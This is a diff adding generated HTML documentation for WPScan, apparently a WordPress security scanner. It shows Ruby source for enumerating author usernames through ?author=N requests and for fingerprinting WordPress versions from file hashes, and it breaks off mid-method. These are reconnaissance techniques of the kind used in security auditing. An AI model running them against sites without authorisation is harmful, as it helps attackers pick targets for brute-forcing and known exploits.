+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="module">WpUsernames</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-instance-method-details" class="method-section section">
+        <h3 class="section-header">Public Instance Methods</h3>
+
+      
+        <div id="author_url-method" class="method-detail ">
+          <a name="method-i-author_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">author_url</span><span
+              class="method-args">(author_id)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="author_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_usernames.rb, line 102</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">author_url</span>(<span class="ruby-identifier">author_id</span>)
+  <span class="ruby-ivar">@uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-node">&quot;?author=#{author_id}&quot;</span>).<span class="ruby-identifier">to_s</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- author_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- author_url-method -->
+
+      
+        <div id="extract_nickname_from_body-method" class="method-detail ">
+          <a name="method-i-extract_nickname_from_body"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">extract_nickname_from_body</span><span
+              class="method-args">(body)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="extract_nickname_from_body-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_usernames.rb, line 77</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">extract_nickname_from_body</span>(<span class="ruby-identifier">body</span>)
+  <span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{&lt;title&gt;([^&lt;]*)&lt;/title&gt;}</span>, <span class="ruby-value">1</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- extract_nickname_from_body-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- extract_nickname_from_body-method -->
+
+      
+        <div id="get_nickname_from_response-method" class="method-detail ">
+          <a name="method-i-get_nickname_from_response"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_nickname_from_response</span><span
+              class="method-args">(resp)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="get_nickname_from_response-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_usernames.rb, line 69</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_nickname_from_response</span>(<span class="ruby-identifier">resp</span>)
+  <span class="ruby-identifier">nickname</span> = <span class="ruby-keyword">nil</span>
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span>
+    <span class="ruby-identifier">nickname</span> = <span class="ruby-identifier">extract_nickname_from_body</span>(<span class="ruby-identifier">resp</span>.<span class="ruby-identifier">body</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">nickname</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_nickname_from_response-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_nickname_from_response-method -->
+
+      
+        <div id="get_nickname_from_url-method" class="method-detail ">
+          <a name="method-i-get_nickname_from_url"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_nickname_from_url</span><span
+              class="method-args">(url)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="get_nickname_from_url-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_usernames.rb, line 60</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">get_nickname_from_url</span>(<span class="ruby-identifier">url</span>)
+  <span class="ruby-identifier">resp</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">url</span>, {<span class="ruby-value">:follow_location</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>, <span class="ruby-value">:max_redirects</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>})
+  <span class="ruby-identifier">nickname</span> = <span class="ruby-keyword">nil</span>
+  <span class="ruby-keyword">if</span> <span class="ruby-identifier">resp</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span>
+    <span class="ruby-identifier">nickname</span> = <span class="ruby-identifier">extract_nickname_from_body</span>(<span class="ruby-identifier">resp</span>.<span class="ruby-identifier">body</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">nickname</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- get_nickname_from_url-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- get_nickname_from_url-method -->
+
+      
+        <div id="remove_junk_from_nickname-method" class="method-detail ">
+          <a name="method-i-remove_junk_from_nickname"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">remove_junk_from_nickname</span><span
+              class="method-args">(usernames)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="remove_junk_from_nickname-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_usernames.rb, line 81</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">remove_junk_from_nickname</span>(<span class="ruby-identifier">usernames</span>)
+  <span class="ruby-keyword">unless</span> <span class="ruby-identifier">usernames</span>.<span class="ruby-identifier">kind_of?</span> <span class="ruby-constant">Array</span>
+    <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;Need an array as input&quot;</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">nicknames</span> = []
+  <span class="ruby-identifier">usernames</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">u</span><span class="ruby-operator">|</span>
+    <span class="ruby-keyword">unless</span> <span class="ruby-identifier">u</span>.<span class="ruby-identifier">kind_of?</span> <span class="ruby-constant">WpUser</span>
+      <span class="ruby-identifier">raise</span>(<span class="ruby-string">&quot;Items must be of type WpUser&quot;</span>)
+    <span class="ruby-keyword">end</span>
+    <span class="ruby-identifier">nickname</span> = <span class="ruby-identifier">u</span>.<span class="ruby-identifier">nickname</span>
+    <span class="ruby-keyword">unless</span> <span class="ruby-identifier">nickname</span> <span class="ruby-operator">==</span> <span class="ruby-string">&quot;empty&quot;</span>
+      <span class="ruby-identifier">nicknames</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">nickname</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">junk</span> = <span class="ruby-identifier">get_equal_string_end</span>(<span class="ruby-identifier">nicknames</span>)
+  <span class="ruby-identifier">usernames</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">u</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">u</span>.<span class="ruby-identifier">nickname</span> = <span class="ruby-identifier">u</span>.<span class="ruby-identifier">nickname</span>.<span class="ruby-identifier">sub</span>(<span class="ruby-node">/#{Regexp.escape(junk)}$/</span>, <span class="ruby-string">&quot;&quot;</span>)
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">usernames</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- remove_junk_from_nickname-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- remove_junk_from_nickname-method -->
+
+      
+        <div id="usernames-method" class="method-detail ">
+          <a name="method-i-usernames"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">usernames</span><span
+              class="method-args">(options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Enumerate wordpress usernames by using Veronica Valeros’s technique: <a
+href="http://seclists.org/fulldisclosure/2011/May/493">seclists.org/fulldisclosure/2011/May/493</a></p>
+
+<p>Available options :</p>
+
+<pre>:range - default : 1..10</pre>
+
+<p>returns an array of <a href="WpUser.html">WpUser</a> (can be empty)</p>
+            
+
+            
+            <div class="method-source-code" id="usernames-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/modules/wp_usernames.rb, line 28</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">usernames</span>(<span class="ruby-identifier">options</span> = {})
+  <span class="ruby-identifier">range</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:range</span>] <span class="ruby-operator">||</span> (<span class="ruby-value">1</span><span class="ruby-operator">..</span><span class="ruby-value">10</span>)
+  <span class="ruby-identifier">browser</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>
+  <span class="ruby-identifier">usernames</span> = []
+
+  <span class="ruby-identifier">range</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">author_id</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">url</span> = <span class="ruby-identifier">author_url</span>(<span class="ruby-identifier">author_id</span>)
+    <span class="ruby-identifier">response</span> = <span class="ruby-identifier">browser</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">url</span>)
+
+    <span class="ruby-identifier">username</span> = <span class="ruby-keyword">nil</span>
+    <span class="ruby-identifier">nickname</span> = <span class="ruby-keyword">nil</span>
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">301</span> <span class="ruby-comment"># username in location?</span>
+      <span class="ruby-identifier">username</span> = <span class="ruby-identifier">response</span>.<span class="ruby-identifier">headers_hash</span>[<span class="ruby-string">'location'</span>][<span class="ruby-regexp">%{/author/([^/]+)/}</span>, <span class="ruby-value">1</span>]
+      <span class="ruby-comment"># Get the real name from the redirect site</span>
+      <span class="ruby-identifier">nickname</span> = <span class="ruby-identifier">get_nickname_from_url</span>(<span class="ruby-identifier">url</span>)
+    <span class="ruby-keyword">elsif</span> <span class="ruby-identifier">response</span>.<span class="ruby-identifier">code</span> <span class="ruby-operator">==</span> <span class="ruby-value">200</span> <span class="ruby-comment"># username in body?</span>
+      <span class="ruby-identifier">username</span> = <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{posts by (.*) feed}</span>, <span class="ruby-value">1</span>]
+      <span class="ruby-identifier">nickname</span> = <span class="ruby-identifier">get_nickname_from_response</span>(<span class="ruby-identifier">response</span>)
+    <span class="ruby-keyword">end</span>
+
+    <span class="ruby-keyword">unless</span> <span class="ruby-identifier">username</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span> <span class="ruby-keyword">and</span> <span class="ruby-identifier">nickname</span> <span class="ruby-operator">==</span> <span class="ruby-keyword">nil</span>
+      <span class="ruby-identifier">usernames</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">WpUser</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">username</span>, <span class="ruby-identifier">author_id</span>, <span class="ruby-identifier">nickname</span>)
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-identifier">usernames</span> = <span class="ruby-identifier">remove_junk_from_nickname</span>(<span class="ruby-identifier">usernames</span>)
+
+  <span class="ruby-comment"># clean the array, remove nils and possible duplicates</span>
+  <span class="ruby-identifier">usernames</span>.<span class="ruby-identifier">flatten!</span>
+  <span class="ruby-identifier">usernames</span>.<span class="ruby-identifier">compact!</span>
+  <span class="ruby-identifier">usernames</span>.<span class="ruby-identifier">uniq</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- usernames-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- usernames-method -->
+
+      
+      </div><!-- public-instance-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpVersion.html b/doc/WpVersion.html
new file mode 100644
index 00000000..ed12430c
--- /dev/null
+++ b/doc/WpVersion.html
@@ -0,0 +1,658 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpVersion</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_version_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_version.rb">lib/wpscan/wp_version.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Vulnerable.html">Vulnerable</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-find">::find</a></li>
+          
+          <li><a href="#method-c-find_from_advanced_fingerprinting">::find_from_advanced_fingerprinting</a></li>
+          
+          <li><a href="#method-c-find_from_links_opml">::find_from_links_opml</a></li>
+          
+          <li><a href="#method-c-find_from_meta_generator">::find_from_meta_generator</a></li>
+          
+          <li><a href="#method-c-find_from_readme">::find_from_readme</a></li>
+          
+          <li><a href="#method-c-find_from_rss_generator">::find_from_rss_generator</a></li>
+          
+          <li><a href="#method-c-find_from_sitemap_generator">::find_from_sitemap_generator</a></li>
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-c-version_pattern">::version_pattern</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpVersion</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="discovery_method-attribute-method" class="method-detail">
+          <a name="discovery_method"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">discovery_method</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="number-attribute-method" class="method-detail">
+          <a name="number"></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">number</span><span
+              class="attribute-access-type">[R]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="find-method" class="method-detail ">
+          <a name="method-c-find"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find</span><span
+              class="method-args">(target_uri, wp_content_dir)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Will use all method self.find_from_* to try to detect the version Once the
+version is found, it will return a <a href="WpVersion.html">WpVersion</a>
+object The method_name will be without ‘find_from_’ and ‘_’ will be replace
+by ‘ ’ (IE ‘meta generator’, ‘rss generator’ etc) If the version is not
+found, nil is returned</p>
+
+<p>The order in which the find_from_* methods are is important, they will be
+called in the same order (<a
+href="WpVersion.html#method-c-find_from_meta_generator">find_from_meta_generator</a>,
+<a
+href="WpVersion.html#method-c-find_from_rss_generator">find_from_rss_generator</a>
+etc)</p>
+            
+
+            
+            <div class="method-source-code" id="find-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 39</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find</span>(<span class="ruby-identifier">target_uri</span>, <span class="ruby-identifier">wp_content_dir</span>)
+  <span class="ruby-identifier">options</span> = {
+      <span class="ruby-value">:base_url</span>       =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">target_uri</span>,
+      <span class="ruby-value">:wp_content_dir</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">wp_content_dir</span>
+  }
+  <span class="ruby-keyword">self</span>.<span class="ruby-identifier">methods</span>.<span class="ruby-identifier">grep</span>(<span class="ruby-regexp">/find_from_/</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">method_to_call</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">version</span> = <span class="ruby-keyword">self</span>.<span class="ruby-identifier">send</span>(<span class="ruby-identifier">method_to_call</span>, <span class="ruby-identifier">options</span>)
+
+    <span class="ruby-keyword">if</span> <span class="ruby-identifier">version</span>
+      <span class="ruby-keyword">return</span> <span class="ruby-identifier">new</span>(<span class="ruby-identifier">version</span>, <span class="ruby-value">:discovery_method</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-identifier">method_to_call</span>[<span class="ruby-regexp">%{find_from_(.*)}</span>, <span class="ruby-value">1</span>].<span class="ruby-identifier">gsub</span>(<span class="ruby-string">'_'</span>, <span class="ruby-string">' '</span>))
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">nil</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find-method -->
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(number, options = {})</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 25</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">number</span>, <span class="ruby-identifier">options</span> = {})
+  <span class="ruby-ivar">@number</span>           = <span class="ruby-identifier">number</span>
+  <span class="ruby-ivar">@discovery_method</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:discovery_method</span>]
+  <span class="ruby-ivar">@vulns_file</span>       = <span class="ruby-identifier">options</span>[<span class="ruby-value">:vulns_file</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">'/wp_vulns.xml'</span>
+  <span class="ruby-ivar">@vulns_xpath</span>      = <span class="ruby-node">&quot;//wordpress[@version='#{@number}']/vulnerability&quot;</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="protected-class-method-details" class="method-section section">
+        <h3 class="section-header">Protected Class Methods</h3>
+
+      
+        <div id="find_from_advanced_fingerprinting-method" class="method-detail ">
+          <a name="method-c-find_from_advanced_fingerprinting"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_advanced_fingerprinting</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Uses data/wp_versions.xml to try to identify a wordpress version.</p>
+
+<p>It does this by using client side file hashing with a scoring system.</p>
+
+<p>The scoring system is a number representing the uniqueness of a client side
+file across all versions of wordpress.</p>
+
+<p>Example:</p>
+
+<p>Score - Hash - File - Versions</p>
+
+<pre> 1 - 3e63c08553696a1dedb24b22ef6783c3 - /wp-content/themes/twentyeleven/style.css - 3.2.1
+ 2 - 15fc925fd39bb496871e842b2a754c76 - /wp-includes/js/wp-lists.js - 2.6,2.5.1
+ 3 - 3f03bce84d1d2a169b4bf4d8a0126e38 - /wp-includes/js/autosave.js - 2.9.2,2.9.1,2.9
+
+/!\ Warning : this method might return false positive if the file used for fingerprinting is part of a theme (they can be updated)</pre>
+            
+
+            
+            <div class="method-source-code" id="find_from_advanced_fingerprinting-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 94</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_advanced_fingerprinting</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">target_uri</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-comment"># needed for rpsec tests</span>
+  <span class="ruby-identifier">version_xml</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:version_xml</span>] <span class="ruby-operator">||</span> <span class="ruby-constant">DATA_DIR</span> <span class="ruby-operator">+</span> <span class="ruby-string">&quot;/wp_versions.xml&quot;</span>
+  <span class="ruby-identifier">xml</span> = <span class="ruby-constant">Nokogiri</span><span class="ruby-operator">::</span><span class="ruby-constant">XML</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span>(<span class="ruby-identifier">version_xml</span>)) <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">config</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">config</span>.<span class="ruby-identifier">noblanks</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">xml</span>.<span class="ruby-identifier">xpath</span>(<span class="ruby-string">&quot;//file&quot;</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">node</span><span class="ruby-operator">|</span>
+    <span class="ruby-identifier">wp_content</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:wp_content_dir</span>]
+    <span class="ruby-identifier">wp_plugins</span> = <span class="ruby-node">&quot;#{wp_content}/plugins&quot;</span>
+    <span class="ruby-identifier">file_url</span> = <span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-identifier">node</span>.<span class="ruby-identifier">attribute</span>(<span class="ruby-string">'src'</span>).<span class="ruby-identifier">text</span>).<span class="ruby-identifier">to_s</span>
+    <span class="ruby-identifier">file_url</span> = <span class="ruby-identifier">file_url</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp">/\$wp-plugins\$/</span>, <span class="ruby-identifier">wp_plugins</span>).<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp">/\$wp-content\$/</span>, <span class="ruby-identifier">wp_content</span>)
+    <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">file_url</span>)
